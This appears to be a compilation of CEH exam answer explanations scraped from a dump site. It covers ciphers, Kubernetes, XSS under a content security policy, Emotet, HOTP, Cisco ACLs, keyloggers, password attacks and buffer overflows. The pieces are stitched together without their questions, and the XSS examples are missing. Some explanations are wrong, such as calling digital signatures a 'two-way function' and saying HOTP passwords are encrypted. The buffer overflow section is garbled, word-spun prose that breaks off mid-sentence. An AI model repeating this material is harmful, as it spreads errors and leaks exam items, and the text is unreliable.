A. Implement a block cipher mode of operation: This option is not relevant because it does not address the integrity verification issue, but the encryption issue. A block cipher mode of operation is a method of applying a block cipher, which is a symmetric encryption algorithm that operates on fixed-length blocks of data, to a variable-length message. A block cipher mode of operation can provide different security properties, such as confidentiality, integrity, or authenticity, depending on the mode. However, a block cipher mode of operation cannot provide a digital signature, which is a form of asymmetric encryption that uses a pair of keys3 .

C. Suggest using salt with hashing: This option is not sufficient because it does not provide a digital signature, but only a hash value. Salt is a random value that is added to the input of a hash function, which is a one-way function that maps any data to a fixed-length digest. Salt can enhance the security of hashing by making it harder to perform brute-force attacks or dictionary attacks, which are methods of finding the input that produces a given hash value. However, salt cannot provide a digital signature, which is a two-way function that uses a pair of keys to sign and verify a message .

D. Switch to elliptic curve cryptography: This option is not specific because it does not specify a digital signature mechanism, but only a type of cryptography. Elliptic curve cryptography is a branch of cryptography that uses mathematical curves to generate keys and perform operations. Elliptic curve cryptography can be used to implement various cryptographic techniques, such as encryption, hashing, or digital signatures. However, elliptic curve cryptography is not a digital signature mechanism by itself, but rather a tool that can be used to create one .

In CEH v13 Module 16: Cloud Computing and Container Security, Kubernetes components are explained for understanding container orchestration risks.

Kube-scheduler is the master node component responsible for:

Assigning newly created pods to available nodes.

Evaluating each pod’s resource requirements.

Considering node affinity/anti-affinity, data locality, hardware restrictions, etc.

Ensuring workload balancing across nodes.

Other Options:

A. Kube-controller-manager: Manages control loops for replication and status.

C. Kube-apiserver: Acts as the entry point for all REST commands.

D. Etcd: A key-value store used to save configuration data.

The hacker’s next step to confirm the XSS vulnerability would be to utilize a script hosted on the application’s domain to test the form. This is because the application’s CSP allows scripts from its own domain, but not from inline or external sources. Therefore, the hacker can try to inject a payload that references a script file on the same domain as the application, such as:

where script.js contains some benign code, such as alert('XSS') or print('XSS'). If the script executes in the browser, then the hacker has confirmed the XSS vulnerability. Otherwise, the CSP has blocked the script and prevented the XSS attack.

The other options are not feasible or effective for the following reasons:

A. Try to disable the CSP to bypass script restrictions: This option is not feasible because the hacker cannot disable the CSP on the server side, and the browser enforces the CSP on the client side. The hacker would need to modify the browser settings or use a browser extension to disable the CSP, but this would not affect the victim’s browser or the application’s security.

B. Inject a benign script inline to the form to see if it executes: This option is not effective because the application’s CSP disallows inline scripts, meaning scripts that are embedded in the HTML code. Therefore, the hacker would not be able to inject a script tag or an event handler attribute that contains some code, such as:

 or 

The CSP would block these scripts and prevent the XSS attack.

D. Load a script from an external domain to test the vulnerability: This option is not effective because the application’s CSP disallows scripts from external domains, meaning scripts that are loaded from a different domain than the application. Therefore, the hacker would not be able to inject a script tag that references a script file on another domain, such as:

The CSP would block these scripts and prevent the XSS attack.

https://us-cert.cisa.gov/ncas/alerts/TA18-201A

Currently, Emotet uses five known spreader modules: NetPass.exe, WebBrowserPassView, Mail PassView, Outlook scraper, and a credential enumerator. Credential enumerator is a self-extracting RAR file containing two components: a bypass component and a service component. The bypass component is used for the enumeration of network resources and either finds writable share drives using Server Message Block (SMB) or tries to brute force user accounts, including the administrator account. Once an available system is found, Emotet writes the service component on the system, which writes Emotet onto the disk. Emotet’s access to SMB can result in the infection of entire domains (servers and clients).

A counter-based authentication system is based on the HOTP (HMAC-Based One-Time Password) algorithm. It uses a shared secret and a moving counter to generate a one-time password (OTP). Each time the counter is incremented, a new OTP is generated and encrypted using the secret key.

Reference – CEH v13 Official Study Guide:

Module 5: System Hacking

Quote:

“HOTP generates a one-time password using a counter value and a secret key. This is a form of two-factor authentication, and the passwords are encrypted.”

Incorrect Options Explained:

A & B. These describe biometric systems, not counter-based OTPs.

D. Virtual passwords from passphrases are not counter-based systems.

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https://www.cisco.com/c/en/us/support/docs/ip/access-lists/26448-ACLsamples.html

Since the first line prohibits any TCP traffic (access-list 102 deny tcp any any), the lines below will simply be ignored by the router. Below you will find the example from CISCO documentation.

This figure shows that FTP (TCP, port 21) and FTP data (port 20) traffic sourced from NetB destined to NetA is denied, while all other IP traffic is permitted.

FTP uses port 21 and port 20. TCP traffic destined to port 21 and port 20 is denied and everything else is explicitly permitted.

access-list 102 deny tcp any any eq ftp

access-list 102 deny tcp any any eq ftp-data

access-list 102 permit ip any any

Comprehensive and Detailed Explanation:

The AAAA (Quad A) record is the DNS record type used to map a domain name to an IPv6 address. It is the IPv6 equivalent of an A (Address) record, which maps to an IPv4 address.

From CEH v13 Courseware:

Module 4: Enumeration → DNS Record Types

Vulnerability scanning solutions perform vulnerability penetration tests on the organizational network in three steps:

1. Locating nodes: The first step in vulnerability scanning is to locate live hosts in the target network using various scanning techniques.

2. Performing service and OS discovery on them: After detecting the live hosts in the target network, the next step is to enumerate the open ports and services and the operating system on the target systems.

3. Testing those services and OS for known vulnerabilities: Finally, after identifying the open services and the operating system running on the target nodes, they are tested for known vulnerabilities.

A keylogger is a type of spyware that can record and steal consecutive keystrokes (and much more) that the user enters on a device. Keyloggers are a common tool for cybercriminals, who use them to capture passwords, credit card numbers, personal information, and other sensitive data. Keyloggers can be installed on a device through various methods, such as phishing emails, malicious downloads, or physical access. To confirm the type of program, the security team can use a web search tool, such as Bing, to look for keylogger programs and compare their features and behaviors with the suspicious program they encountered. Alternatively, they can use a malware analysis tool, such as Malwarebytes, to scan and identify the program and its characteristics.

To prevent the same attack from occurring in the future, the security team should employ intrusion detection systems (IDS) and regularly update the system software. An IDS is a system that monitors network traffic and system activities for signs of malicious or unauthorized behavior, such as keylogger installation or communication. An IDS can alert the security team of any potential threats and help them respond accordingly. Regularly updating the system software can help patch any vulnerabilities or bugs that keyloggers may exploit to infect the device. Additionally, the security team should also remove the keylogger program from the affected computers and change any compromised passwords or credentials. References:

Keylogger | What is a Keylogger? How to protect yourself

How to Detect and Remove a Keylogger From Your Computer

Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS)

What is a Keylogger? | Keystroke Logging Definition | Avast

Keylogger Software: 11 Best Free to Use in 2023

A hybrid attack is a method that combines the dictionary attack with brute-force techniques. It starts with a list of known words (like in a dictionary attack) and then mutates them by:

Appending or prepending numbers (e.g., password1, 123hello)

Adding special characters (e.g., P@ssword!, admin#123)

Varying letter casing or leetspeak (e.g., h@x0r)

From CEH v13 Courseware:

Module 6: Malware Threats → Password Cracking Methods

Incorrect Options:

B: Linear is not a password cracking method.

C: Symmetric refers to encryption, not password cracking.

D: Brute-force tries every possible combination but does not start with a word list.

https://github.com/verovaleros/bluedriving

Bluedriving is a bluetooth wardriving utility. It can capture bluetooth devices, lookup their services, get GPS information and present everything in a nice web page. It can search for and show a lot of information about the device, the GPS address and the historic location of devices on a map. The main motivation of this tool is to research about the targeted surveillance of people by means of its cellular phone or car. With this tool you can capture information about bluetooth devices and show, on a map, the points where you have seen the same device in the past.

Buffer overflow this attack is an anomaly that happens when software writing data to a buffer overflows the buffer’s capacity, leading to adjacent memory locations being overwritten. In other words, an excessive amount of information is being passed into a container that doesn’t have enough space, which information finishes up replacing data in adjacent containers.

Buffer overflows are often exploited by attackers with a goal of modifying a computer’s memory so as to undermine or take hold of program execution.

What’s a buffer?

A buffer, or data buffer, is a neighborhood of physical memory storage wont to temporarily store data while it’s being moved from one place to a different . These buffers typically sleep in RAM memory. Computers frequently use buffers to assist improve performance; latest hard drives cash in of buffering to efficiently access data, and lots of online services also use buffers. for instance , buffers are frequently utilized in online video streaming to stop interruption. When a video is streamed, the video player downloads and stores perhaps 20% of the video at a time during a buffer then streams from that buffer. This way, minor drops in connection speed or quick service disruptions won’t affect the video stream performance.

Buffers are designed to contain specific amounts of knowledge . Unless the program utilizing the buffer has built-in instructions to discard data when an excessive amount of is shipped to the buffer, the program will overwrite data in memory adjacent to the buffer.

Buffer overflows are often exploited by attackers to corrupt software. Despite being well-understood, buffer overflow attacks are still a serious security problem that torment cyber-security teams. In 2014 a threat referred to as ‘heartbleed’ exposed many many users to attack due to a buffer overflow vulnerability in SSL software.

How do attackers exploit buffer overflows?

An attacker can deliberately feed a carefully crafted input into a program which will cause the program to undertake and store that input during a buffer that isn’t large enough, overwriting portions of memory connected to the buffer space. If the memory layout of the program is well-defined, the attacker can deliberately overwrite areas known to contain executable code. The attacker can then replace this code together with his own executable code, which may drastically change how the program is meant to figure .

For example if the overwritten part in memory contains a pointer (an object that points to a different place in memory) the attacker’s code could replace that code with another pointer that points to an exploit payload. this will transfer control of the entire program over to the

attacker’s code.